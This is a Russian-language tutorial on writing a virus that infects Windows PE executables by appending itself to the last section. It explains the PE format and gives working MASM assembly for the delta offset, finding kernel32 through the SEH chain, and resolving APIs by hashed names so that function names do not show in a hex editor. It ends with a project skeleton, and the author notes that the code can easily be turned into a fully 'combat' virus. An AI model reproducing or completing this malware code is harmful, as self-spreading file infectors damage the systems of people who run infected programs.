Введение

Вирусы стали неотъемлемой частью нашей компьютерной (и не только) жизни. На написание данной статьи меня подтолкнуло то, что, на мой взгляд, в Сети маловато информации, наиболее полно раскрывающей весь процесс написания вируса. Совсем недавно мне необходимо было написать простую самораспространяющуюсю программу, которая не производила бы каких-либо вредных для системы действий, но в то же время использовала бы вирусные механизмы распространения. Скажу, что все-таки в Интернете есть информация на эту тему. И даже встречаются исходники подобных программ. Но во всем приходится долго и упорно разбираться, если хочешь сделать что-то сам. Итак, в чем-то более-менее разобравшись, я хочу поделиться с вами - читателями - информацией.

В данной статье будет рассмотрен процесс написания простого вируса, заражающего исполняемые файлы формата PE (Portable Executable) EXE. Также напишем программу-доктора, которая ищет в указанной директории и во всех поддиректориях файлы, зараженные нашим вирусом.

Данная самораспространяющаяся программа не содержит в себе никакого вредоносного кода, но ее с легкостью можно дописать до вполне боевого вируса. Поэтому хочу заметить, что ВСЕ ПРИВЕДЕННОЕ В ЭТОЙ СТАТЬЕ МОЖЕТ БЫТЬ ИСПОЛЬЗОВАНО ТОЛЬКО В УЧЕБНО-ПОЗНАВАТЕЛЬНЫХ ЦЕЛЯХ. Автор не несет никакой ответственности за любой ущерб, нанесенный применением полученных знаний.

Если вы с этим не согласны, то, пожалуйста, прекратите чтение этой статьи и удалите ее со всех имеющихся у вас носителей информации.
Кратко о формате PE

Поскольку наш вирус будет заражать именно PE-файлы, мы, естественно, должны иметь представление об этом формате. Это формат исполняемых в операционной системе Windows файлов. Кстати, раз уж мы заговорили об ОС, то заметим, что наш вирус должен нормально исполняться на как можно большем числе ОС данного семейства. Программа тестировалась на работоспособность в Win 9x\Me\NT\2000\XP\2K3.

Итак, если заглянуть внутрь типичного исполняемого файла, мы увидим следующую структуру в упрощенном виде:
PE-файл в самом своем начале (MZ-заголовок) содержит программу для ОС DOS. Эта программа называется stub и нужна для совместимости со старыми ОС. Если мы запускаем PE-файл под ОС DOS или OS/2, она выводит на экран консоли текстовую строку, которая информирует пользователя, что данная программа не совместима с данной версией ОС. Программист при линковке может указать любую программу DOS, любого размера. После этой DOS-программы идет структура, которая называется IMAGE_NT_HEADERS (PE-заголовок). Эта структура описывается следующим образом:
typedef struct _IMAGE_NT_HEADERS {
    DWORD Signature;
    IMAGE_FILE_HEADER FileHeader;
    IMAGE_OPTIONAL_HEADER32 OptionalHeader;
}

Первый элемент IMAGE_NT_HEADERS – сигнатура PE-файла. Для PE-файлов она должна иметь значение "PE\0\0". Далее идет структура, которая называется файловым заголовком и определенная как IMAGE_FILE_HEADER. Файловый заголовок содержит наиболее общие свойства для данного PE-файла. После файлового заголовка идет опциональный заголовок - IMAGE_OPTIONAL_HEADER32. Он содержит специфические параметры данного PE-файла. После опционального заголовка начинается таблица секций (Object Table). В ней содержится информация о каждой секции. После таблицы секций идут исходные данные для секций. В конец PE-файла можно записать любую информацию и от этого функционирование программы не изменится (если там не присутствует проверка контрольной суммы или что-то подобное).
Способы заражения PE

До сих пор мы ничего не сказали о том, каким способом будем заражать файл, ведь их несколько:
Внедрение в PE-заголовок
Расширение последней секции
Добавление новой секции

Для нашего учебного вируса подойдет наиболее простой метод расширения последней секции. Сразу скажу, что большими недостатками последних двух методов является то, что размер файла-жертвы заметно увеличивается при заражении, т.к. мы дописываем код вируса в конец файла. Хотя оговорюсь, что при втором методе возможно извратиться так, чтобы можно было записываться в пустой оверлей в конце последней секции, поэтому размер файла может измениться незначительно, либо не измениться вообще. При первом же методе размер файла не изменяется, но недостаток такого метода - не всегда можно найти такой EXE, чтобы в его заголовке хватило места для кода нашего вируса. Приходится либо заражать очень малое количество программ, либо сильно ограничивать возможности нашего вируса, т.к. это уменьшает размер его кода. Метод добавления новой секции немного сложнее, поэтому его рассматривать не будем. Скажу только, что файл с какой-нибудь новой секцией будет выглядеть более подозрительно.

Нам для написания нашего вируса достаточно знать, что при заражении файла мы должны изменить некоторые значения (какие - прочитаем ниже) в PE-заголовке, изменить дескриптор последней секции, добавить код нашего вируса в конец последней секции, а также изменить точку входа программы так, чтобы управление при ее запуске передавалось сначала нашему вирусу, а уж затем - самой программе. На следующем рисунке красным цветом отмечены те части файла, которые будут изменены при заражении:
Вычисляем дельта-смещение

Итак, мы приняли решение дописываться в конец исполняемого файла. Прежде, чем приводить код, отмечу, что для начала нам нужно найти адреса необходимых API-функций. Разберемся сейчас с наиболее важными понятиями: Virtual Address (VA) и Relative Virtual Address (RVA).

VA - это адрес чего-нибудь в оперативной памяти. RVA - это смещение на что-то относительно того места, куда проецирован файл. А если просто сказать, то VA = RVA + база.

Чтобы наш вирус работал, он должен быть написан в базонезависимом коде. В связи с этим появляется еще одно понятие - дельта-смещение.

Что это такое? Все очень просто. Когда вирус находится в чистом виде (так называемое первое поколение), т.е. не записан еще ни в какой файл, когда он работает, он обращается к переменным как есть относительно прописанного в его заголовке адреса, куда файл проецирован системой. Теперь представим, что наш вирус заразил программу. И там начинает работать. Но теперь он работает не там, куда его загрузил загрузчик, а из того места, где находится загруженная зараженная программа. Получается, что переменные теперь указывают на абсолютно другое место. Поэтому обратившись к своим данным по заданным адресам, вирус прочитает совсем не те данные, которые ему необходимы. Для того, чтобы решить эту проблему, вычисляется дельта-смещение. Это смещение относительно начала вируса, а не той программы, которая была им заражена.
    сall  VirDelta
VirDelta:
    sub   dword ptr [esp], OFFSET VirDelta
    push  dword ptr [esp] ; Сохраняем значение дельта-смещения в стеке

Как видим, при входе в вирусный код мы вызываем call. Но call после вызова помещает в стек адрес возврата. Вычитаем из него адрес метки VirDelta и получаем нужное нам смещение относительно начала файла. Далее сохраняем дельта-смещение для дальнейшего использования (прибавляя его к адресам переменных, последние принимают корректные значения).
Ищем адреса API-функций

Следующая проблема состоит в поиске этих самых адресов. Но для начала нужно найти адрес библиотеки kernel32.dll в памяти, т.к. самые необходимые функции находятся именно в ней. Если нам потребуется использовать функции из других библиотек, мы просто используем LoadLibrary и GetProcAddress, которые находятся в kernel32.dll.

Существует множество методов поиска базы kernel32, один из которых - использование механизма структурной обработки исключений SEH (Structured Exception Handling).

SEH представляет собой цепочку обработчиков - ячейки памяти, в которых содержатся адреса на процедуры обработки исключений. Эта цепочка начинается с fs:0000 и заканчивается последним обработчиком, который содержит значение 0FFFFFFFFh. Ну и что это нам дает? А то, что адрес последнего обработчика - это и есть адрес kernel32.dll в памяти.

Итак, дельта-смещение мы определили. Приведем теперь код поиска базы kernel32:
; Читаем SEH
ReadSEH:
    xor    edx, edx              ; edx = 0
    assume fs:flat
    mov    eax, fs:[edx]         ; читаем элемент SEH
    dec    edx                   ; edx = 0FFFFFFFFh

; Ищем элемент со значением 0FFFFFFFFh
SearchKernel32:
    cmp    [eax], edx            ; сравниваем очередной с 0FFFFFFFFh
    je     CheckKernel32         ; прыгаем, если нашли
    mov    eax, [eax]            ; получаем следующее значение
    jmp    SearchKernel32        ; если не нашли - ищем дальше

; Определяем адрес Kernel32
CheckKernel32:
    mov    eax, [eax + 4]        ; получаем адрес ГДЕ-ТО в
                                 ; kernel32.dll
    xor    ax, ax                ; выравниваем полученный адрес

; Ищем сигнатуру MZ
SearchKernelMZ:         
    cmp word ptr [eax], 5A4Dh    ; сверяем сигнатуру MZ
    je  CheckKernelMZ            ; сигнатура верна, переходим на
                                 ; проверку сигнатуры PE
    sub eax, 10000h              ; если не равна MZ, то ищем дальше
    jmp SearchKernelMZ

; Проверяем сигнатуру PE
CheckKernelMZ:
    mov  edx, [eax + 3Ch]        ; переходим на PE-заголовок
    cmp  word ptr [eax + edx], 4550h ; сверяем сигнатуру
    jne  _Exit                   ; неверная сигнатура, поэтому
                                 ; выходим

Здесь мы сканируем память (с того адреса, который мы только что получили) на наличие сигнатуры MZ (4D5Ah). Если она присутствует, значит, все сделано верно. Далее по смещению 3Ch находится смещение начала PE-заголовка. Сравниваем значение 2х байтов по этому смещению на сигнатуру PE (5045h) (на случай, если мы чисто случайно попали на ту область памяти, где нам встретились символы MZ). Если значение этих байт равно PE, то kernel32.dll несомненно найдена.

Теперь рассмотрим некоторые поля PE-заголовка, необходимые нам:

Чтобы найти адрес необходимой нам API-функции в kernel32, нам нужно добраться до секции экспорта этой библиотеки. По смещению 78h от начала PE-заголовка находится RVA адрес этой секции. Но не забудем, что нам нужен не RVA, а VA. Для этого нужно сложить этот RVA со значением Image Base (адрес в области памяти, куда файл проецирован системой). Тогда мы получим реальный адрес секции экспорта.

Наверняка при просмотре таблицы может возникнуть вопрос: а что это за поле Win32VersionValue? Это поле загрузчиком не используется вообще, поэтому мы можем считать его резервным и записывать какую-то информацию. В дальнейшем будем использовать данное резервное поле для записи сигнатуры нашего вируса, чтобы не заражать уже зараженные нашим вирусом программы.

Теперь нам нужно получить адрес таблицы экспорта из секции экспорта. Рассмотрим некоторые интересные нам поля секции экспорта:

Первое поле содержит базу ординалов функций. Второе поле содержит число указателей на имена. Третье поле содержит RVA таблицы экспорта. Эта таблица содержит адреса экспортируемых функций (их точки входа) или данных в формате DWORD RVA (по 4 байта на элемент). Четвертое поле - RVA таблицы указателей на имена. Последнее поле - RVA на таблицу ординалов. Для доступа к данным используется ординал функции с коррекцией на базу ординалов (Ordinal Base).

Итак, теперь мы знаем адрес таблицы имен и адрес таблицы адресов всех функций библиотеки kernel32.dll. Чтобы найти адрес конкретной функции, мы должны сравнить ее имя с каждым именем в таблице имен экспортируемых функций, и если очередное сравниваемое имя совпало с искомым, мы смотрим в таблицу ординалов по соответствующему индексу и извлекаем таким образом адрес функции. Далее нам этот адрес остается где-то сохранить (в нашем случае – в стеке) для дальнейшего использования и перейти к поиску адреса другой нужной нам функции и так далее.

Чтобы не хранить в коде вируса имена функций (ведь они бывают иногда длинные), нам достаточно хранить 4-байтовые хеш-значения имен. Заодно и при просмотре тела вируса в HEX-редакторе не бросаются в глаза имена функций, содержащиеся в коде вируса:
; Таблица хешей
HashTable:
dd 0F867A91Eh ; CloseHandle
dd 03165E506h ; FindFirstFileA
dd 0CA920AD8h ; FindNextFileA
dd 0860B38BCh ; CreateFileA
dd 029C4EF46h ; ReadFile
dd 0CC17506Ch ; GlobalAlloc
dd 0AAC2523Eh ; GetFileSize
dd 07F3545C6h ; SetFilePointer
dd 0F67B91BAh ; WriteFile
dd 03FE8FED4h ; GlobalFree
dd 015F8EF80h ; VirtualProtect
dd 0D66358ECh ; ExitProcess
dd 05D7574B6h ; GetProcAddress
dd 071E40722h ; LoadLibraryA
dd 0E65B28ACh ; FindClose
dd 059B44650h ; GetModuleFileNameA
dd 00709DC94h ; SetCurrentDirectoryA
dd 0D64B001Eh ; FreeLibrary
dw 0FFFFh     ; Признак конца таблицы

А при поиске нужной нам функции мы будем сравнивать не имена, а хеш-значения имен (подсчитав предварительно это значение для каждой нужной нам функции). Т.е., допустим, что мы нашли какое-то имя в таблице имен kernel32. Вычисляем хеш-значение этого имени и сравниваем это значение с искомым из нашей таблицы хешей HashTable. Если совпадают – значит, нашли. Если нет – ищем дальше:
_SearchAPI:
    mov   esi, [eax + edx + 78h]
    add   esi, eax
    add   esi, 18h
    xchg  eax, ebx
    lodsd                           ; получаем число указателей на имена
    push  eax                       ; [ebp+4*4]
    lodsd                           ; получаем RVA таблицы экспорта
    push  eax                       ; [ebp+4*3]
    lodsd                           ; получаем RVA таблицы указателей на
                                    ; имена
    push  eax                       ; [ebp+4*2]
    add   eax, ebx
    push  eax                       ; Указатель на таблицу имен
                                    ; [ebp+4*1]
    lodsd                           ; получим RVA на таблицу ординалов
    push  eax                       ; [ebp]
    mov   edi, [esp+4*5]            ; edi = дельта_смещение
    lea   edi, [edi+HashTable]      ; edi указывает на начало HashTable
    mov   ebp, esp                  ; сохраняем базу стека

_BeginSearch:
    mov   ecx, [ebp+4*4]            ; число имен функций
    xor   edx, edx                  ; здесь хранится порядковый номер
                                    ; функции (от 0)

_SearchAPIName:         
    mov  esi, [ebp+4*1]
    mov  esi, [esi]
    add  esi, ebx                   ; адрес ASСII-имени очередной API-
                                    ; функции

; подсчет хэш-значения от имени функции
_GetHash:
    xor  eax, eax
    push eax
_CalcHash:
    ror  eax, 7
    xor  [esp],eax
    lodsb
    test al, al
    jnz  _CalcHash
    pop  eax

; хэш подсчитан
OkHash:
    cmp  eax, [edi]                 ; сверяем полученный hash с тем что в
                                    ; таблице HashTable
    je   _OkAPI                     ; переходим на вычисление адреса функции
    add  dword ptr [ebp+4*1], 4     ; сдвигаемся к другому элементу таблицы
                                    ; экспорта
    inc  edx
    loop _SearchAPIName
    jmp  _Exit                           

; вычисляем адрес функции
_OkAPI:
    shl  edx, 1                     ; номер функции
    mov  ecx, [ebp]                 ; берем указатель на таблицу ординалов
    add  ecx, ebx
    add  ecx, edx
    mov  ecx, [ecx]
    and  ecx, 0FFFFh
    mov  edx, [ebp+4*3]             ; извлекаем RVA таблицы экспорта
    add  edx, ebx
    shl  ecx, 2
    add  edx, ecx
    mov  edx, [edx]
    add  edx, ebx
    push edx                        ; сохраняем адрес найденной функции в
                                    ; стеке
    cmp  word ptr [edi+4], 0FFFFh   ; Конец списка?
    je   _Call_API
    add  edi, 4                     ; следующее hash-значение функции

_NextName:
    mov  ecx, [ebp+4*2]             ; восстанавливаем начало таблицы экспорта
    add  ecx, ebx
    mov  [ebp+4*1], ecx             ; Index в таблице имен
    jmp  short _BeginSearch

Но как нам вычислить заранее хеш-значение определенного имени? Для этого я написал небольшую программку на Visual C++ с ассемблерной вставкой, ссылку на которую можно найти в конце статьи (с исходником).

После выполнения приведенного кода адреса всех функций будут находиться в стеке:
CloseHandle         equ dword ptr [ebp-4*1]
FindFirstFileA      equ dword ptr [ebp-4*2]
FindNextFileA       equ dword ptr [ebp-4*3]
CreateFileA         equ dword ptr [ebp-4*4]
ReadFile            equ dword ptr [ebp-4*5]
GlobalAlloc         equ dword ptr [ebp-4*6]
GetFileSize         equ dword ptr [ebp-4*7]
SetFilePointer      equ dword ptr [ebp-4*8]
WriteFile           equ dword ptr [ebp-4*9]
GlobalFree          equ dword ptr [ebp-4*10]
VirtualProtect      equ dword ptr [ebp-4*11]
_ExitProcess        equ dword ptr [ebp-4*12]
GetProcAddress      equ dword ptr [ebp-4*13]
LoadLibrary         equ dword ptr [ebp-4*14]
FindClose           equ dword ptr [ebp-4*15]
GetModuleFileNameA  equ dword ptr [ebp-4*16]
SetCurrentDirectoryA equ dword ptr [ebp-4*17]
FreeLibrary         equ dword ptr [ebp-4*18]
Общая структура вирусного кода

Все вышесказанное было лишь прелюдией в процессе написания нашего вируса. Теперь начнется самое интересное. Будем писать вирус на MASM. Почему я отдаю предпочтение этому пакету? Просто он мне нравится.

Напишем общий файл main.asm, который будет включать отдельные части кода:
.386
.model flat, stdcall
option casemap:none

pushz macro szText:VARARG
    local nexti
    call  nexti
    db    szText, 0
nexti:
endm

includelib lib\kernel32.lib

ExitProcess PROTO :DWORD

.data
    db 0
.code
    invoke ExitProcess, 0
start:

; Стартовый код и код по поиску адресов функций
include inc\start_code.inc

; Вирусный код
include inc\virus_code.inc

; Данные
include inc\data.inc

end start

В файле start_code.inc содержится весь приведенный ранее код по определению дельта-смещения, поиску базы kernel и адресов функций. Содержимое остальных файлов будет ясно из дальнейшего изложения. Но в любом случае в конце статьи есть ссылки с полностью рабочими примерами и исходниками.

Смотря на этот код, можно задать как минимум два вопроса:
зачем нам макрос szText?
зачем подключать библиотеку kernel32.lib и вызывать функцию ExitProcess перед начальной меткой?

Хитрый макрос позволяет нам не хранить текст в переменной, а сразу заталкивать его адрес в стек перед вызовом какой-либо функции, имеющей одним из своих параметров текстовую строку. Например, в функцию LoadLibrary:
pushz “user32.dll”
call  LoadLibrary

Что же касается вызова функции ExitProcess, то здесь проблема кроется в системах старше Windows XP (Win9x\Me\NT\2000). При попытке запустить код без такого вызова программа попросту не запускалась в перечисленых системах. Причем молча. Скорее всего, это связано с тем, что в данных системах загрузчик не хочет загружать программы без секций импорта. Не будем отвлекаться от нашей темы, поскольку исследование данного вопроса выходит за рамки этой статьи.